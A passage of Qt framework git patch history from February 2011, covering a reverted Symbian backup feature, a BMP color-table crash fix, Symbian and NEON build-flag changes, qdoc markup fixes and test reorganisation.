b/doc/src/development/qmake-manual.qdoc index b81d387..d1843a8 100644 --- a/doc/src/development/qmake-manual.qdoc +++ b/doc/src/development/qmake-manual.qdoc @@ -1086,6 +1086,18 @@ \tableofcontents{3} + + \target BACKUP_REGISTRATION_FILE + \section1 BACKUP_REGISTRATION_FILE + + \e {This is only used on the Symbian platform.} + + This variable can be used to specify a custom backup registration file to use + with \c enable_backup \c CONFIG value. See Symbian documentation + (\l{http://library.forum.nokia.com/index.jsp?topic=/S60_5th_Edition_Cpp_Developers_Library/GUID-35228542-8C95-4849-A73F-2B4F082F0C44/sdk/doc_source/guide/Connectivity-subsystem-guide/Connectivity/PC_Connectivity_How-To_Write_Backup_Aware_Software.html}{How-To Write Backup-aware Software}) + for more information about backup registration files and how backup + works in Symbian in general. + \target BLD_INF_RULES \section1 BLD_INF_RULES @@ -1302,6 +1314,12 @@ to work. E.g. \c{myapp_en.ts}. \bold{Note:} All languages supported by Qt are not supported by Symbian, so some \c{.ts} files may be ignored by qmake. + \row \o enable_backup \o Generates deployment for backup registration file + to enable backing up the application during device backup. By default + application binaries, resources, and all files under application private + directory and \c{C:\Data} are backed up. If a custom backup rules are + needed, \l{#BACKUP_REGISTRATION_FILE}{BACKUP_REGISTRATION_FILE} variable + can be used to specify a custom backup registration file. \endtable These options have an effect on Linux/Unix platforms: diff --git a/mkspecs/common/symbian/backup_registration.xml b/mkspecs/common/symbian/backup_registration.xml new file mode 100644 index 0000000..794e11d --- /dev/null +++ b/mkspecs/common/symbian/backup_registration.xml @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/mkspecs/features/enable_backup.prf b/mkspecs/features/enable_backup.prf new file mode 100644 index 0000000..9e81d56 --- /dev/null +++ b/mkspecs/features/enable_backup.prf @@ -0,0 +1,15 @@ +# Generate deployment for backup registration file +symbian { + isEmpty(BACKUP_REGISTRATION_FILE) { + BACKUP_REGISTRATION_FILE = $$[QT_INSTALL_DATA]/mkspecs/common/symbian/backup_registration.xml + } + + contains(TEMPLATE, app) { + backup_reg_deployment.path = /private/$$replace(TARGET.UID3, 0x,) + } else { + backup_reg_deployment.path = /private/10202D56/import/packages/$$replace(TARGET.UID3, 0x,) + } + + backup_reg_deployment.sources = $$BACKUP_REGISTRATION_FILE + DEPLOYMENT += backup_reg_deployment +} \ No newline at end of file -- cgit v0.12 From de1cfc13c66fcb35d0a211bb5136ebc25279041a Mon Sep 17 00:00:00 2001 From: Harald Fernengel Date: Fri, 4 Feb 2011 13:36:27 +0100 Subject: Don't crash when BMP color table is broken If the BMP's number of color table entries is out of bounds, we would resize our color table vector to a silly value, leading to crashes later on. If the number of color table entries is larger than 256, just stop processing the BMP since it's most probably corrupt. Task-number: QT-4534 Reviewed-by: Robert Griebl --- src/gui/image/qbmphandler.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/gui/image/qbmphandler.cpp b/src/gui/image/qbmphandler.cpp index 09c086a..6dea9d9 100644 --- a/src/gui/image/qbmphandler.cpp +++ b/src/gui/image/qbmphandler.cpp @@ -246,6 +246,8 @@ static bool read_dib_body(QDataStream &s, const BMP_INFOHDR &bi, int offset, int if (depth != 32) { ncols = bi.biClrUsed ? bi.biClrUsed : 1 << nbits; + if (ncols > 256) // sanity check - don't run out of mem if color table is broken + return false; image.setColorCount(ncols); } -- cgit v0.12 From 2b5454432f132f98a1216f1dd8163acb4800191e Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Fri, 4 Feb 2011 15:10:08 +0200 Subject: Revert "Implement Symbian support for enable_backup CONFIG value" This reverts commit 10c7730877d314ec4eda6728e2d66c38beff8d62. Maemo/Meego support for this needs to be verified before this can be added so reverting this for now. --- doc/src/development/qmake-manual.qdoc | 18 ------------------ mkspecs/common/symbian/backup_registration.xml | 8 -------- mkspecs/features/enable_backup.prf | 15 --------------- 3 files changed, 41 deletions(-) delete mode 100644 mkspecs/common/symbian/backup_registration.xml delete mode 100644 mkspecs/features/enable_backup.prf diff --git a/doc/src/development/qmake-manual.qdoc b/doc/src/development/qmake-manual.qdoc index d1843a8..b81d387 100644 --- a/doc/src/development/qmake-manual.qdoc +++ b/doc/src/development/qmake-manual.qdoc @@ -1086,18 +1086,6 @@ \tableofcontents{3} - - \target BACKUP_REGISTRATION_FILE - \section1 BACKUP_REGISTRATION_FILE - - \e {This is only used on the Symbian platform.} - - This variable can be used to specify a custom backup registration file to use - with \c enable_backup \c CONFIG value. See Symbian documentation - (\l{http://library.forum.nokia.com/index.jsp?topic=/S60_5th_Edition_Cpp_Developers_Library/GUID-35228542-8C95-4849-A73F-2B4F082F0C44/sdk/doc_source/guide/Connectivity-subsystem-guide/Connectivity/PC_Connectivity_How-To_Write_Backup_Aware_Software.html}{How-To Write Backup-aware Software}) - for more information about backup registration files and how backup - works in Symbian in general. - \target BLD_INF_RULES \section1 BLD_INF_RULES @@ -1314,12 +1302,6 @@ to work. E.g. \c{myapp_en.ts}. \bold{Note:} All languages supported by Qt are not supported by Symbian, so some \c{.ts} files may be ignored by qmake. - \row \o enable_backup \o Generates deployment for backup registration file - to enable backing up the application during device backup. By default - application binaries, resources, and all files under application private - directory and \c{C:\Data} are backed up. If a custom backup rules are - needed, \l{#BACKUP_REGISTRATION_FILE}{BACKUP_REGISTRATION_FILE} variable - can be used to specify a custom backup registration file. \endtable These options have an effect on Linux/Unix platforms: diff --git a/mkspecs/common/symbian/backup_registration.xml b/mkspecs/common/symbian/backup_registration.xml deleted file mode 100644 index 794e11d..0000000 --- a/mkspecs/common/symbian/backup_registration.xml +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - - - diff --git a/mkspecs/features/enable_backup.prf b/mkspecs/features/enable_backup.prf deleted file mode 100644 index 9e81d56..0000000 --- a/mkspecs/features/enable_backup.prf +++ /dev/null @@ -1,15 +0,0 @@ -# Generate deployment for backup registration file -symbian { - isEmpty(BACKUP_REGISTRATION_FILE) { - BACKUP_REGISTRATION_FILE = $$[QT_INSTALL_DATA]/mkspecs/common/symbian/backup_registration.xml - } - - contains(TEMPLATE, app) { - backup_reg_deployment.path = /private/$$replace(TARGET.UID3, 0x,) - } else { - backup_reg_deployment.path = /private/10202D56/import/packages/$$replace(TARGET.UID3, 0x,) - } - - backup_reg_deployment.sources = $$BACKUP_REGISTRATION_FILE - DEPLOYMENT += backup_reg_deployment -} \ No newline at end of file -- cgit v0.12 From bc21d7604c78cf05780bb9974911ba81e787b6f9 Mon Sep 17 00:00:00 2001 From: Robin Burchell Date: Fri, 4 Feb 2011 12:39:51 +0100 Subject: Fix builds with compilers without --with-fpu=neon as a default. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The changes introduced in fac68dca46131d63f11c37210834073848f5a93d do not work correctly on compilers without --with-fpu=neon as a default, NEON_SOURCES would be (incorrectly) compiled without -mfpu=neon, resulting in build failure. This also moves -mfpu=neon after CXXFLAGS, as CXXFLAGS may contain -mfpu=vfpv3-d16. Issue noted by Carsten Munk while building Qt for MeeGo ARM with NEON. Merge-request: 1042 Reviewed-by: Samuel Rødal --- src/gui/gui.pro | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/src/gui/gui.pro b/src/gui/gui.pro index fe1a595..076fe0a 100644 --- a/src/gui/gui.pro +++ b/src/gui/gui.pro @@ -65,15 +65,14 @@ symbian { neon:*-g++* { DEFINES += QT_HAVE_NEON HEADERS += $$NEON_HEADERS - SOURCES += $$NEON_SOURCES DRAWHELPER_NEON_ASM_FILES = $$NEON_ASM - neon_compiler.commands = $$QMAKE_CXX -c -mfpu=neon - neon_compiler.commands += $(CXXFLAGS) $(INCPATH) ${QMAKE_FILE_IN} -o ${QMAKE_FILE_OUT} + neon_compiler.commands = $$QMAKE_CXX -c + neon_compiler.commands += $(CXXFLAGS) -mfpu=neon $(INCPATH) ${QMAKE_FILE_IN} -o ${QMAKE_FILE_OUT} neon_compiler.dependency_type = TYPE_C neon_compiler.output = ${QMAKE_VAR_OBJECTS_DIR}${QMAKE_FILE_BASE}$${first(QMAKE_EXT_OBJ)} - neon_compiler.input = DRAWHELPER_NEON_ASM_FILES + neon_compiler.input = DRAWHELPER_NEON_ASM_FILES NEON_SOURCES neon_compiler.variable_out = OBJECTS neon_compiler.name = compiling[neon] ${QMAKE_FILE_IN} silent:neon_compiler.commands = @echo compiling[neon] ${QMAKE_FILE_IN} && $$neon_compiler.commands -- cgit v0.12 From ff75ad64bb064d97582c8e3992a9db7aa4e016e1 Mon Sep 17 00:00:00 2001 From: Martin Storsjo Date: Fri, 4 Feb 2011 01:50:08 +0200 Subject: symbian/linux-gcce: Use -u _E32Dll when linking DLLs This is required when using older binutils versions (CodeSourcery 2009q1 requires it, while CodeSourcery 4.4-172 doesn't require it) with the linux-gcce mkspec. The -u option is already used in the same way for exe files, and the abld build system invokes ld with -u _E32Dll, too. Signed-off-by: axis Merge request: 2560 --- mkspecs/symbian/linux-gcce/qmake.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mkspecs/symbian/linux-gcce/qmake.conf b/mkspecs/symbian/linux-gcce/qmake.conf index faac2f1..648a591 100644 --- a/mkspecs/symbian/linux-gcce/qmake.conf +++ b/mkspecs/symbian/linux-gcce/qmake.conf @@ -54,7 +54,7 @@ DEFINES += __GCCE__ \ _STLP_NO_EXCEPTION_HEADER QMAKE_LFLAGS_APP += --entry=_E32Startup -u _E32Startup -QMAKE_LFLAGS_SHLIB += --default-symver --entry _E32Dll +QMAKE_LFLAGS_SHLIB += --default-symver --entry=_E32Dll -u _E32Dll QMAKE_LFLAGS_PLUGIN += $$QMAKE_LFLAGS_SHLIB gcceExtraFlags = --include=${EPOCROOT}/epoc32/include/gcce/gcce.h -march=armv5t -mapcs -mthumb-interwork -nostdinc -c -msoft-float -T script -- cgit v0.12 From aeeb80bd223b900ad1990a38272b9bb94fe9e9fe Mon Sep 17 00:00:00 2001 From: axis Date: Fri, 4 Feb 2011 14:08:17 +0100 Subject: Added missing edllstub.lib for GCCE. RevBy: Trust me --- mkspecs/features/symbian/symbian_building.prf | 1 + 1 file changed, 1 insertion(+) diff --git a/mkspecs/features/symbian/symbian_building.prf b/mkspecs/features/symbian/symbian_building.prf index 0cedaa0..f3b6c25 100644 --- a/mkspecs/features/symbian/symbian_building.prf +++ b/mkspecs/features/symbian/symbian_building.prf @@ -147,6 +147,7 @@ contains(TEMPLATE, lib):!contains(CONFIG, static):!contains(CONFIG, staticlib) { LIBS += -ledllstub.lib -ledll.lib\\(uc_dll_.o\\) } else :linux-gcce { LIBS += \ + -l:edllstub.lib \ -l:edll.lib \ -l:usrt2_2.lib \ -l:dfpaeabi.dso \ -- cgit v0.12 From c6c647c22efaa9d101324920da81b891becb1cf1 Mon Sep 17 00:00:00 2001 From: axis Date: Fri, 4 Feb 2011 14:09:01 +0100 Subject: Avoided the Linux version of the --no-undefined switch. RevBy: Trust me --- mkspecs/symbian/linux-gcce/qmake.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mkspecs/symbian/linux-gcce/qmake.conf b/mkspecs/symbian/linux-gcce/qmake.conf index 648a591..4c346da 100644 --- a/mkspecs/symbian/linux-gcce/qmake.conf +++ b/mkspecs/symbian/linux-gcce/qmake.conf @@ -46,7 +46,7 @@ QMAKE_CXXFLAGS_STATIC_LIB -= -fPIC QMAKE_LFLAGS_SONAME = #QMAKE_LFLAGS_THREAD += -#QMAKE_LFLAGS_NOUNDEF += -Wl,--no-undefined +QMAKE_LFLAGS_NOUNDEF = QMAKE_LFLAGS_RPATH = --rpath= DEFINES += __GCCE__ \ -- cgit v0.12 From 1c15dab336bd1806ff0762a0f4c92c0d83da6d8a Mon Sep 17 00:00:00 2001 From: axis Date: Tue, 1 Feb 2011 11:15:55 +0100 Subject: Fixed "not a valid preprocessing token" on GCCE. It seems to be fixed upstream already. RevBy: Gareth Stockwell --- src/3rdparty/phonon/mmf/abstractaudioeffect.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/3rdparty/phonon/mmf/abstractaudioeffect.h b/src/3rdparty/phonon/mmf/abstractaudioeffect.h index 70adcf6..517a334 100644 --- a/src/3rdparty/phonon/mmf/abstractaudioeffect.h +++ b/src/3rdparty/phonon/mmf/abstractaudioeffect.h @@ -124,7 +124,7 @@ private: #define PHONON_MMF_DEFINE_EFFECT_FUNCTIONS(Effect) \ \ -void Effect##::createEffect(AudioPlayer::NativePlayer *player) \ +void Effect::createEffect(AudioPlayer::NativePlayer *player) \ { \ C##Effect *ptr = 0; \ QT_TRAP_THROWING(ptr = C##Effect::NewL(*player)); \ -- cgit v0.12 From 0d9d1e0b1c9826900c569a32efbf9179c8730a13 Mon Sep 17 00:00:00 2001 From: Laszlo Agocs Date: Fri, 4 Feb 2011 15:44:07 +0200 Subject: Fix the broken QPixmap::fromSymbianRSgImage(). The retrieved VGImage handle was accidentally assigned to a local variable instead of the member with the same name so it always ended up creating an empty pixmap. Reviewed-by: Jani Hautakangas --- src/openvg/qvg_symbian.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/openvg/qvg_symbian.cpp b/src/openvg/qvg_symbian.cpp index b813800..ff0ab13 100644 --- a/src/openvg/qvg_symbian.cpp +++ b/src/openvg/qvg_symbian.cpp @@ -148,7 +148,7 @@ void QVGPixmapData::fromNativeType(void* pixmap, NativeType type) destroyImages(); prevSize = QSize(); - VGImage vgImage = sgImageToVGImage(context, *sgImage); + vgImage = sgImageToVGImage(context, *sgImage); if (vgImage != VG_INVALID_HANDLE) { w = vgGetParameteri(vgImage, VG_IMAGE_WIDTH); h = vgGetParameteri(vgImage, VG_IMAGE_HEIGHT); -- cgit v0.12 From aa8d84efdc8e7dd26f36a3586050458d7be0c279 Mon Sep 17 00:00:00 2001 From: Denis Oliver Kropp Date: Fri, 4 Feb 2011 14:50:00 +0100 Subject: directfb: Pixmap creation always premultiplied the alpha even when it is already premultiplied in the image. This also avoids the temporary surface and blitting. Merge-request: 990 Reviewed-by: Marcel Schuette --- .../gfxdrivers/directfb/qdirectfbpixmap.cpp | 22 ++++------------------ 1 file changed, 4 insertions(+), 18 deletions(-) diff --git a/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp b/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp index 6639983..50e0f5f 100644 --- a/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp +++ b/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp @@ -300,40 +300,26 @@ void QDirectFBPixmapData::fromImage(const QImage &img, Qt::ImageConversionFlags { alpha = QDirectFBPixmapData::hasAlphaChannel(img, flags); imageFormat = alpha ? screen->alphaPixmapFormat() : screen->pixelFormat(); + QImage image; if ((flags & ~Qt::NoOpaqueDetection) != Qt::AutoColor) { image = img.convertToFormat(imageFormat, flags); flags = Qt::AutoColor; } else if (img.format() == QImage::Format_RGB32 || img.depth() == 1) { image = img.convertToFormat(imageFormat, flags); + } else if (img.format() != imageFormat) { + image = img.convertToFormat(imageFormat, flags); } else { image = img; } - IDirectFBSurface *imageSurface = screen->createDFBSurface(image, image.format(), QDirectFBScreen::DontTrackSurface); - if (!imageSurface) { - qWarning("QDirectFBPixmapData::fromImage()"); - invalidate(); - return; - } - - dfbSurface = screen->createDFBSurface(image.size(), imageFormat, QDirectFBScreen::TrackSurface); + dfbSurface = screen->createDFBSurface(image, image.format(), QDirectFBScreen::NoPreallocated | QDirectFBScreen::TrackSurface); if (!dfbSurface) { qWarning("QDirectFBPixmapData::fromImage()"); invalidate(); return; } - if (image.hasAlphaChannel()) { - dfbSurface->Clear(dfbSurface, 0, 0, 0, 0); - dfbSurface->SetBlittingFlags(dfbSurface, DSBLIT_BLEND_ALPHACHANNEL); - } else { - dfbSurface->SetBlittingFlags(dfbSurface, DSBLIT_NOFX); - } - - dfbSurface->Blit(dfbSurface, imageSurface, 0, 0, 0); - imageSurface->Release(imageSurface); - w = image.width(); h = image.height(); is_null = (w <= 0 || h <= 0); -- cgit v0.12 From e9ab35ef663e9562385c974dcbeb7cf2d03ab70f Mon Sep 17 00:00:00 2001 From: Olivier Goffart Date: Fri, 4 Feb 2011 15:10:10 +0100 Subject: Move the QtHelp tests in its own profile Reviewed-by: Sergio Ahumada --- tests/auto/auto.pro | 1 + tests/auto/gui.pro | 10 ---------- tests/auto/help.pro | 8 ++++++++ 3 files changed, 9 insertions(+), 10 deletions(-) create mode 100644 tests/auto/help.pro diff --git a/tests/auto/auto.pro b/tests/auto/auto.pro index c0004f7..c677249 100644 --- a/tests/auto/auto.pro +++ b/tests/auto/auto.pro @@ -19,4 +19,5 @@ contains(QT_CONFIG, multimedia): SUBDIRS += multimedia.pro contains(QT_CONFIG, phonon): SUBDIRS += phonon.pro contains(QT_CONFIG, svg): SUBDIRS += svg.pro contains(QT_CONFIG, declarative): SUBDIRS += declarative.pro +!symbian SUBDIRS += help.pro diff --git a/tests/auto/gui.pro b/tests/auto/gui.pro index 802e74a..4b809fb 100644 --- a/tests/auto/gui.pro +++ b/tests/auto/gui.pro @@ -80,11 +80,6 @@ SUBDIRS=\ qgroupbox \ qguivariant \ qheaderview \ - qhelpcontentmodel \ - qhelpenginecore \ - qhelpgenerator \ - qhelpindexmodel \ - qhelpprojectdata \ qicoimageformat \ qicon \ qimageiohandler \ @@ -221,10 +216,5 @@ win32:SUBDIRS -= qtextpiecetable qtextpiecetable \ symbian:SUBDIRS -= \ - qhelpcontentmodel \ - qhelpenginecore \ - qhelpgenerator \ - qhelpindexmodel \ - qhelpprojectdata \ qsystemtrayicon \ diff --git a/tests/auto/help.pro b/tests/auto/help.pro new file mode 100644 index 0000000..e6ee552 --- /dev/null +++ b/tests/auto/help.pro @@ -0,0 +1,8 @@ +TEMPLATE=subdirs +SUBDIRS=\ + qhelpcontentmodel \ + qhelpenginecore \ + qhelpgenerator \ + qhelpindexmodel \ + qhelpprojectdata \ + -- cgit v0.12 From f3350644b74a37d7619d2de57f345e8d6dcb30f3 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 4 Feb 2011 16:39:49 +0100 Subject: Doc: Document display-orientation-related widget attributes. Reviewed-by: mread --- src/corelib/global/qnamespace.qdoc | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/src/corelib/global/qnamespace.qdoc b/src/corelib/global/qnamespace.qdoc index 8440542..65cd7f4 100644 --- a/src/corelib/global/qnamespace.qdoc +++ b/src/corelib/global/qnamespace.qdoc @@ -1252,6 +1252,13 @@ to this top level window. This attribute has no effect on non-X11 platforms. + \value WA_LockPortraitOrientation Locks the widget to a portrait orientation, + ignoring changes to the display's orientation with respect to the user. + \value WA_LockLandscapeOrientation Locks the widget to a landscape orientation, + ignoring changes to the display's orientation with respect to the user. + \value WA_AutoOrientation Causes the widget to change orientation whenever the + display changes orientation with respect to the user. + \omitvalue WA_SetLayoutDirection \omitvalue WA_InputMethodTransparent \omitvalue WA_WState_CompressKeys -- cgit v0.12 From e664bcceeeac38d19cbd6e8e1fc8883442f85e1b Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 4 Feb 2011 21:21:37 +0100 Subject: Fixed C++ and plain markup found in \c commands. --- tools/qdoc3/cppcodemarker.cpp | 31 +++++++++++++++++++++++++------ 1 file changed, 25 insertions(+), 6 deletions(-) diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 1b1e8f2..29f1c52 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -911,7 +911,7 @@ static QString untabified(const QString &in) QString CppCodeMarker::addMarkUp(const QString &in, const Node * /* relative */, - const Location & /* location */) + const Location /* &location */) { #define readChar() \ ch = (i < (int)code.length()) ? code[i++].cell() : EOF @@ -935,6 +935,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, int braceDepth = 0; int parenDepth = 0; int i = 0; + int start = 0; char ch; QRegExp classRegExp("Qt?(?:[A-Z3]+[a-z][A-Za-z]*|t)"); QRegExp functionRegExp("q([A-Z][a-z]+)+"); @@ -942,7 +943,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, readChar(); while (ch != EOF) { - int second = i; + int finish = i; QString tag; bool target = false; @@ -950,6 +951,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, QString ident; do { ident += ch; + finish = i; readChar(); } while (isalnum(ch) || ch == '_'); @@ -970,6 +972,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, } } else if (isdigit(ch)) { do { + finish = i; readChar(); } while (isalnum(ch) || ch == '.'); tag = QLatin1String("number"); @@ -992,10 +995,12 @@ QString CppCodeMarker::addMarkUp(const QString &in, case ']': case '|': case '~': + finish = i; readChar(); tag = QLatin1String("op"); break; case '"': + finish = i; readChar(); while (ch != EOF && ch != '"') { @@ -1003,19 +1008,23 @@ QString CppCodeMarker::addMarkUp(const QString &in, readChar(); readChar(); } + finish = i; readChar(); tag = QLatin1String("string"); break; case '#': + finish = i; readChar(); while (ch != EOF && ch != '\n') { if (ch == '\\') readChar(); + finish = i; readChar(); } tag = QLatin1String("preprocessor"); break; case '\'': + finish = i; readChar(); while (ch != EOF && ch != '\'') { @@ -1023,28 +1032,35 @@ QString CppCodeMarker::addMarkUp(const QString &in, readChar(); readChar(); } + finish = i; readChar(); tag = QLatin1String("char"); break; case '(': + finish = i; readChar(); parenDepth++; break; case ')': + finish = i; readChar(); parenDepth--; break; case ':': + finish = i; readChar(); if (ch == ':') { + finish = i; readChar(); tag = QLatin1String("op"); } break; case '/': + finish = i; readChar(); if (ch == '/') { do { + finish = i; readChar(); } while (ch != EOF && ch != '\n'); tag = QLatin1String("comment"); @@ -1052,6 +1068,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, bool metAster = false; bool metAsterSlash = false; + finish = i; readChar(); while (!metAsterSlash) { @@ -1064,6 +1081,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, metAsterSlash = true; else metAster = false; + finish = i; readChar(); } tag = QLatin1String("comment"); @@ -1072,23 +1090,24 @@ QString CppCodeMarker::addMarkUp(const QString &in, } break; case '{': + finish = i; readChar(); braceDepth++; break; case '}': + finish = i; readChar(); braceDepth--; break; default: + finish = i; readChar(); } } QString text; - if ((tag.isEmpty() || second == 1) && i == code.length()) - text = code.mid(second - 1, i - second + 1); - else - text = code.mid(second - 1, i - second); + text = code.mid(start, finish - start); + start = finish; if (!tag.isEmpty()) { out += QLatin1String("<@") + tag; -- cgit v0.12 From 7f919a56fe4e6e5e9b610361b8b0b32631c5edb1 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Sat, 5 Feb 2011 00:34:08 +0100 Subject: Fixed build breakage. --- tools/qdoc3/cppcodemarker.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 29f1c52..752d007 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -911,7 +911,7 @@ static QString untabified(const QString &in) QString CppCodeMarker::addMarkUp(const QString &in, const Node * /* relative */, - const Location /* &location */) + const Location & /* location */) { #define readChar() \ ch = (i < (int)code.length()) ? code[i++].cell() : EOF -- cgit v0.12 From eb5e587af8867fa57ee764441905bdf982ab43c6 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Sat, 5 Feb 2011 22:47:10 +0100 Subject: Ensured that trailing newlines are quoted and correct atoms are used. Newlines after comments at the end of files were previously omitted. An assumption about the type code being quoted caused incorrect CSS classes to be used and extra HTML elements to be used. --- tools/qdoc3/cppcodemarker.cpp | 5 ++++- tools/qdoc3/doc.cpp | 17 +++++++++++++---- 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 752d007..e27916b 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -936,6 +936,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, int parenDepth = 0; int i = 0; int start = 0; + int finish = 0; char ch; QRegExp classRegExp("Qt?(?:[A-Z3]+[a-z][A-Za-z]*|t)"); QRegExp functionRegExp("q([A-Z][a-z]+)+"); @@ -943,7 +944,6 @@ QString CppCodeMarker::addMarkUp(const QString &in, readChar(); while (ch != EOF) { - int finish = i; QString tag; bool target = false; @@ -1120,7 +1120,10 @@ QString CppCodeMarker::addMarkUp(const QString &in, if (!tag.isEmpty()) out += QLatin1String(""); + } + if (start < code.length()) { + out += protect(code.mid(start)); } return out; diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 76c47a2..a730799 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -369,6 +369,7 @@ class DocParser void appendChar(QChar ch); void appendWord(const QString &word); void appendToCode(const QString &code); + void appendToCode(const QString &code, Atom::Type defaultType); void startNewPara(); void enterPara(Atom::Type leftType = Atom::ParaLeft, Atom::Type rightType = Atom::ParaRight, @@ -1112,9 +1113,8 @@ void DocParser::parse(const QString& source, append(Atom::SnippetIdentifier, identifier); } else { - Doc::quoteFromFile(location(),quoter,snippet); - appendToCode(quoter.quoteSnippet(location(), - identifier)); + marker = Doc::quoteFromFile(location(),quoter,snippet); + appendToCode(quoter.quoteSnippet(location(), identifier), marker->atomType()); } } break; @@ -1855,7 +1855,7 @@ void DocParser::appendToCode(const QString& markedCode) { Atom::Type lastType = priv->text.lastAtom()->type(); #ifdef QDOC_QML - if (lastType != Atom::Qml) + if (lastType != Atom::Qml && lastType != Atom::Code && lastType != Atom::JavaScript) append(Atom::Qml); #else if (lastType != Atom::Code) @@ -1864,6 +1864,15 @@ void DocParser::appendToCode(const QString& markedCode) priv->text.lastAtom()->appendString(markedCode); } +void DocParser::appendToCode(const QString &markedCode, Atom::Type defaultType) +{ + Atom::Type lastType = priv->text.lastAtom()->type(); + if (lastType != Atom::Qml && lastType != Atom::Code && lastType != Atom::JavaScript) + append(defaultType, markedCode); + else + priv->text.lastAtom()->appendString(markedCode); +} + void DocParser::startNewPara() { leavePara(); -- cgit v0.12 From c696b4fe5a0acd85bc739fb148b8f76965f12d20 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Thu, 3 Feb 2011 19:26:36 +0100 Subject: Autotest: Use QElapsedTimer for timings --- tests/auto/qdbusperformance/tst_qdbusperformance.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/auto/qdbusperformance/tst_qdbusperformance.cpp b/tests/auto/qdbusperformance/tst_qdbusperformance.cpp index 42db697..a5b4b98 100644 --- a/tests/auto/qdbusperformance/tst_qdbusperformance.cpp +++ b/tests/auto/qdbusperformance/tst_qdbusperformance.cpp @@ -125,7 +125,7 @@ void tst_QDBusPerformance::init() void tst_QDBusPerformance::callSpeed() { - QTime timer; + QElapsedTimer timer; int callCount = 0; timer.start(); @@ -141,7 +141,7 @@ void tst_QDBusPerformance::callSpeed() bool tst_QDBusPerformance::executeTest(const char *funcname, int size, const QVariant &data) { - QTime timer; + QElapsedTimer timer; int callCount = 0; qint64 transferred = 0; -- cgit v0.12 From fa9b8b6420b0805000435a0b312f47f990dab9a5 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 4 Feb 2011 15:32:35 +0100 Subject: Autotest: simple improvements --- tests/auto/qprocess/tst_qprocess.cpp | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/tests/auto/qprocess/tst_qprocess.cpp b/tests/auto/qprocess/tst_qprocess.cpp index 4ee8957..b0f7a9f 100644 --- a/tests/auto/qprocess/tst_qprocess.cpp +++ b/tests/auto/qprocess/tst_qprocess.cpp @@ -249,6 +249,8 @@ void tst_QProcess::constructing() char c; QCOMPARE(process.read(&c, 1), qlonglong(-1)); QCOMPARE(process.write(&c, 1), qlonglong(-1)); + + QProcess proc2; } void tst_QProcess::simpleStart() @@ -265,7 +267,7 @@ void tst_QProcess::simpleStart() process->start("testProcessNormal/testProcessNormal"); if (process->state() != QProcess::Starting) QCOMPARE(process->state(), QProcess::Running); - QVERIFY(process->waitForStarted(5000)); + QVERIFY2(process->waitForStarted(5000), qPrintable(process->errorString())); QCOMPARE(process->state(), QProcess::Running); #if defined(Q_OS_WINCE) // Note: This actually seems incorrect, it will only exit the while loop when finishing fails @@ -277,7 +279,7 @@ void tst_QProcess::simpleStart() while (process->waitForReadyRead(5000)) { } #endif - QCOMPARE(process->state(), QProcess::NotRunning); + QCOMPARE(int(process->state()), int(QProcess::NotRunning)); delete process; process = 0; -- cgit v0.12 From 4f29c5d5381a76f24e13628da3edc5b19c6b1cd2 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Wed, 2 Feb 2011 13:23:40 +0100 Subject: Doc: Fix the docs saying what the locale codec is used for --- src/corelib/tools/qstring.cpp | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/corelib/tools/qstring.cpp b/src/corelib/tools/qstring.cpp index b96edb9..c1b8740 100644 --- a/src/corelib/tools/qstring.cpp +++ b/src/corelib/tools/qstring.cpp @@ -3868,8 +3868,7 @@ const char *QString::latin1_helper() const If \a size is -1 (default), it is taken to be qstrlen(\a str). - QTextCodec::codecForLocale() is used to perform the conversion - from Unicode. + QTextCodec::codecForLocale() is used to perform the conversion. \sa toLocal8Bit(), fromAscii(), fromLatin1(), fromUtf8() */ -- cgit v0.12 From fd2e832657a38d4dba9b86ce190f7736a837d53d Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 28 Jan 2011 16:40:51 +0100 Subject: Make qdbus show all types, even those that it doesn't know about 